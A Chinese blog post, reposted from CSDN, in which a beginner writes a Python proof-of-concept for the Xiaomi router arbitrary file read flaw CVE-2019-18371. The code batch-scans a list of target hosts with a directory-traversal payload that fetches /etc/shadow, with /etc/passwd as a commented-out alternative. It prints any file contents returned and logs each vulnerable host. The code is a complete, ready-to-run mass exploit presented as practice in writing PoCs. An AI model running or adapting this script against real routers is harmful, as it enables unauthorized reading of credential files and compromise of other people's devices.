用Python写漏洞验证脚本的代码
作者:再也没有留恋的斜阳 发布时间:2023-09-04 05:38:36
标签:Python,验证,脚本
小白尝试写任意文件读取poc
我是一个小白,完全不懂Python,但是Python在渗透中往往是一个重要的角色。
有一个CSDN百万大佬写了这样一句话,不会编程的渗透都是耍流氓。
我虽然菜但是也想尝试学习写一下Python漏洞的poc和exp。
我是在网上找到的学习方法,随便记录一下。尝试写一个批量验证漏洞的poc
发现小米路由器有一个任意文件读取漏洞,学着写了看看
小米路由器远程任意文件读取漏洞
小米路由器远程任意文件读取漏洞(CVE-2019-18371)
小米路由器的Nginx的配置文件错误,导致目录穿越漏洞实现任意文件读取。
可通过访问http://domain.cn/xxx…/etc/passwd实现目录穿越访问上级目录及其子目录文件。
如访问http://192.168.1.1/api-third-party/download/extdisks…/etc/passwd 便可以读取到passwd文件。
写一个批量验证漏洞的poc
第一步实现域名和payload拼接
已知payload=/api-third-party/download/extdisks…/etc/passwd
域名和payload拼接如下
import requests
import time
def poc_check(poc):
for url in open('xiaomi.txt'):
url = url.replace('\n','')
poc_url=url+poc
print(poc_url) # 把域名和payload拼接成一个完整的域名,然后去请求如果返回200就说明存在漏洞。
if __name__=='__main__':
poc_xiaomi='/api-third-party/download/extdisks../etc/shadow'
poc_check(poc_xiaomi)
图片如下
拼接好的域名尝试访问,如果返回200代表访问成功说明能读取到文件说明存在漏洞
返回其他的状态码就代表不存在漏洞
完整代码如下:
import requests
import time
def poc_check(poc):
for url in open('xiaomi.txt'):
url = url.replace('\n','')
poc_url=url+poc
# print(poc_url) # 把域名和payload拼接成一个完整的域名,然后去请求如果返回200就说明存在漏洞。
try:
print("再也没有留恋的斜阳")
print("正在检测:")
print(poc_url)
poc_data=requests.get(poc_url)
if poc_data.status_code==200:
print(poc_data.content.decode('utf-8'))
with open(r'xiaomivuln.txt','a+') as f:
f.write(poc_url+'\n')
f.close()
except Exception as e:
time.sleep(0.1)
pass
if __name__=='__main__':
poc_xiaomi='/api-third-party/download/extdisks../etc/shadow'
# poc_xiaomi1='/api-third-party/download/extdisks../etc/passwd'
poc_check(poc_xiaomi)
# poc_check(poc_xiaomi1)
写完了,我太水了的是照着别人写的
来源:https://blog.csdn.net/qq_46258964/article/details/122791108
0
投稿
猜你喜欢
- 前言我们先说一下思路:先对目标网站发送请求,获取html源码,然后对源码里面的所以图片链接进行筛选,然后再次对图片链接发送请求,然后保存。思
- 简介如果你经常网上冲浪,这样参差不齐的多栏布局,是不是很眼熟啊?类似的布局,似乎一夜之间出现在国内外大大小小的网站上,比如 Pinteres
- 一、前言在调用函数时,大多数情况下,主调函数和被调函用之间有数据传递关系,这就是有参数的函数形式。函数参数的作用是传递数据给函数使用,函数利
- 网上关于使用python 的发送multipart/form-data的方法,多半是采用ulrlib2 的模拟post方法,如下
- 去除HTML代码中所有标签<% '****************************** '函数:RemoveH
- 本文从算法入手同时通过实例来讲解如何在SQL Server数据库中实现最优最简的整个过程。算法是计算机科学中一个重要的研究方向,是解决复杂问
- 相信没有人不知道 Firebug 是什么东西,但有时候我们糟糕的代码不想让同行轻松的使用 F12 就能一览无遗。那么怎么办呢?这里有个猥琐的
- 遇到一个难题,在无物理键盘情况下,通过页面软键盘在页面文本框输入汉字,不知道51js的各位大牛有没有遇到过这种需求,如果遇到过是如何解决的,
- 一、'建立register.asp 代码如下:<%@ language=vbscript %>&nb
- 基本信息程序包名称:基于.net开发的遵循web标准的个人站点程序包下载开发者主页:www.ceocio.net软件大小:1.84mb安装环
- 代码如下: <!-- #include file="../conn.asp" --> <!-- #in
- 阅读上一篇:定义网页的语言编码 用web标准设计网站,过渡的方法主要是采用XHTML+CSS,css样式表是必不可少的。这就要求所有网页设计
- 概述到2020年,Python2的官方维护期就要结束了,越来越多的Python项目从Python2切换到了Python3。其实在实际工作中,
- 这篇文章主要介绍了Python for循环通过序列索引迭代过程解析,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价
- 第一题: give you two var a and b, print the value of a+b, just do it!根据提议
- 一、在settings.py中配置DATABASES = { 'default': { 'ENGINE&
- <%@ page language="java" import="java.util.*" p
- 问题描述给出一个整数数组 nums,请返回其中位数为偶数的数字的个数。示例 1:输入:nums = [12,345,2,6,7896]输出:
- 数据库中有一字段type_code,有中文类型和中文类型编码,现在对type_code字段的数据进行统计处理,编码对应的字典如下:{'
- 名称空间名称空间(namespaces):用于存放名字与内存地址绑定关系的地方,是对栈区的划分作用:名称空间可以使栈区中存放相同的名字,从而